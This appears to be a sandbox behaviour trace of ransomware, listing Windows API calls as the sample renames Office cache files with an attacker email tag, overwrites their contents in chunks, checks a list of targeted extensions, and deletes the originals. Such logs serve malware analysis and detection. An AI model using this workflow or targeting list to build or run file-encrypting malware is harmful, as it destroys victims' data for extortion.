	[0094.237] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0094.237] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0094.237] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc6c | out: lpNewFilePointer=0x0) returned 1
	[0094.237] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0094.238] ReadFile (in: hFile=0x18c, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0094.254] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0094.254] ReadFile (in: hFile=0x18c, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0094.281] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x311fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.281] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0094.281] ReadFile (in: hFile=0x18c, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0094.319] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0094.319] WriteFile (in: hFile=0x18c, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x311fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fcb0*=0xc00fe, lpOverlapped=0x0) returned 1
	[0094.675] SetEndOfFile (hFile=0x18c) returned 1
	[0095.684] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f702c0
	[0095.688] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0095.688] WriteFile (in: hFile=0x18c, lpBuffer=0x3f702c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f702c0*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0095.689] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0095.689] WriteFile (in: hFile=0x18c, lpBuffer=0x3f702c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f702c0*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0095.692] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0095.692] WriteFile (in: hFile=0x18c, lpBuffer=0x3f702c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f702c0*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0095.695] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f702c0 | out: hHeap=0x4a0000) returned 1
	[0095.695] CloseHandle (hObject=0x18c) returned 1
	[0097.112] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0097.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0097.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0097.112] lstrlenW (lpString=".doc") returned 4
	[0097.112] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0097.112] lstrlenW (lpString=".docx") returned 5
	[0097.112] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1
	[0097.112] lstrlenW (lpString=".pdf") returned 4
	[0097.112] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0097.113] lstrlenW (lpString=".xls") returned 4
	[0097.113] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0097.113] lstrlenW (lpString=".xlsx") returned 5
	[0097.113] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1
	[0097.113] lstrlenW (lpString=".ppt") returned 4
	[0097.113] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0097.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0097.113] lstrlenW (lpString=".zip") returned 4
	[0097.113] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0097.113] lstrlenW (lpString=".rar") returned 4
	[0097.113] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0097.113] lstrlenW (lpString=".bz2") returned 4
	[0097.113] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0097.113] lstrlenW (lpString=".7z") returned 3
	[0097.113] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0097.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0097.113] lstrlenW (lpString=".dbf") returned 4
	[0097.113] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0097.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0097.113] lstrlenW (lpString=".1cd") returned 4
	[0097.113] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0097.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0097.113] lstrlenW (lpString=".jpg") returned 4
	[0097.113] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0097.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0097.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0097.114] lstrlenW (lpString=".doc") returned 4
	[0097.114] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0097.114] lstrlenW (lpString=".docx") returned 5
	[0097.114] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1
	[0097.114] lstrlenW (lpString=".pdf") returned 4
	[0097.114] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0097.114] lstrlenW (lpString=".xls") returned 4
	[0097.114] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0097.114] lstrlenW (lpString=".xlsx") returned 5
	[0097.114] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1
	[0097.114] lstrlenW (lpString=".ppt") returned 4
	[0097.114] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0097.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0097.114] lstrlenW (lpString=".zip") returned 4
	[0097.114] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0097.114] lstrlenW (lpString=".rar") returned 4
	[0097.114] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0097.114] lstrlenW (lpString=".bz2") returned 4
	[0097.114] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0097.114] lstrlenW (lpString=".7z") returned 3
	[0097.114] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0097.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0097.115] lstrlenW (lpString=".dbf") returned 4
	[0097.115] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0097.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0097.115] lstrlenW (lpString=".1cd") returned 4
	[0097.115] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0097.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0097.115] lstrlenW (lpString=".jpg") returned 4
	[0097.115] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0097.115] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0097.115] lstrlenW (lpString="Proofing.msi") returned 12
	[0097.115] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0097.115] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x311ff1c | out: lpFileSize=0x311ff1c*=868864) returned 1
	[0097.115] CloseHandle (hObject=0x18c) returned 1
	[0097.116] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020
	[0097.116] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0097.116] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0097.116] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0097.116] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0097.116] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0097.116] GetLastError () returned 0x0
	[0097.116] ReadFile (in: hFile=0x18c, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x311fed4*=0xd4200, lpOverlapped=0x0) returned 1
	[0097.259] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x311fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fc9c*=0xd4210, lpOverlapped=0x0) returned 1
	[0097.505] ReadFile (in: hFile=0x18c, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x311fed4*=0x0, lpOverlapped=0x0) returned 1
	[0097.505] WriteFile (in: hFile=0x1e4, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0097.505] SetEndOfFile (hFile=0x1e4) returned 1
	[0097.505] CloseHandle (hObject=0x1e4) returned 1
	[0097.520] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0097.520] SetEndOfFile (hFile=0x18c) returned 1
	[0097.529] CloseHandle (hObject=0x18c) returned 1
	[0097.529] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0097.530] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1
	[0097.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0097.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0097.530] lstrlenW (lpString=".doc") returned 4
	[0097.530] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0097.530] lstrlenW (lpString=".docx") returned 5
	[0097.530] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1
	[0097.530] lstrlenW (lpString=".pdf") returned 4
	[0097.530] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0097.530] lstrlenW (lpString=".xls") returned 4
	[0097.530] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0097.530] lstrlenW (lpString=".xlsx") returned 5
	[0097.530] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1
	[0097.530] lstrlenW (lpString=".ppt") returned 4
	[0097.530] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0097.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0097.530] lstrlenW (lpString=".zip") returned 4
	[0097.530] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0097.530] lstrlenW (lpString=".rar") returned 4
	[0097.530] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0097.530] lstrlenW (lpString=".bz2") returned 4
	[0097.530] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0097.531] lstrlenW (lpString=".7z") returned 3
	[0097.531] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0097.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0097.531] lstrlenW (lpString=".dbf") returned 4
	[0097.531] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0097.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0097.531] lstrlenW (lpString=".1cd") returned 4
	[0097.531] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0097.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0097.531] lstrlenW (lpString=".jpg") returned 4
	[0097.531] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0097.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0097.531] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0097.531] lstrlenW (lpString=".doc") returned 4
	[0097.531] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0097.531] lstrlenW (lpString=".docx") returned 5
	[0098.232] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1
	[0098.232] lstrlenW (lpString=".pdf") returned 4
	[0098.232] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0098.232] lstrlenW (lpString=".xls") returned 4
	[0098.232] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0098.233] lstrlenW (lpString=".xlsx") returned 5
	[0098.233] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1
	[0098.233] lstrlenW (lpString=".ppt") returned 4
	[0098.233] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0098.233] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0098.233] lstrlenW (lpString=".zip") returned 4
	[0098.233] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0098.233] lstrlenW (lpString=".rar") returned 4
	[0098.233] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0098.233] lstrlenW (lpString=".bz2") returned 4
	[0098.233] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0098.234] lstrlenW (lpString=".7z") returned 3
	[0098.234] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0098.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0098.234] lstrlenW (lpString=".dbf") returned 4
	[0098.234] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0098.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0098.234] lstrlenW (lpString=".1cd") returned 4
	[0098.234] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0098.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0098.234] lstrlenW (lpString=".jpg") returned 4
	[0098.234] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0098.234] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0098.234] lstrlenW (lpString="OWOW32LR.cab") returned 12
	[0098.234] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0098.235] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x311ff1c | out: lpFileSize=0x311ff1c*=2928955) returned 1
	[0098.235] CloseHandle (hObject=0x1e8) returned 1
	[0098.235] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020
	[0098.235] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0098.235] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0098.236] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0098.236] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc6c | out: lpNewFilePointer=0x0) returned 1
	[0098.236] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0098.236] ReadFile (in: hFile=0x1e8, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0098.400] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0098.400] ReadFile (in: hFile=0x1e8, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0098.441] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x311fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.441] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0098.441] ReadFile (in: hFile=0x1e8, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0098.479] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.480] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x311fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0098.670] SetEndOfFile (hFile=0x1e8) returned 1
	[0098.670] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f802b8
	[0098.670] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0098.670] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0098.672] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0098.672] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0098.677] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0098.677] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f802b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f802b8*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0098.679] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f802b8 | out: hHeap=0x4a0000) returned 1
	[0098.679] CloseHandle (hObject=0x1e8) returned 1
	[0099.107] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0099.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0099.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0099.107] lstrlenW (lpString=".doc") returned 4
	[0099.107] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0099.107] lstrlenW (lpString=".docx") returned 5
	[0099.107] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0099.107] lstrlenW (lpString=".pdf") returned 4
	[0099.107] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0099.107] lstrlenW (lpString=".xls") returned 4
	[0099.107] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0099.107] lstrlenW (lpString=".xlsx") returned 5
	[0099.108] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0099.108] lstrlenW (lpString=".ppt") returned 4
	[0099.108] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0099.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75
	[0099.108] lstrlenW (lpString=".zip") returned 4
	[0099.108] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0099.108] lstrlenW (lpString=".rar") returned 4
	[0099.108] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0099.108] lstrlenW (lpString=".bz2") returned 4
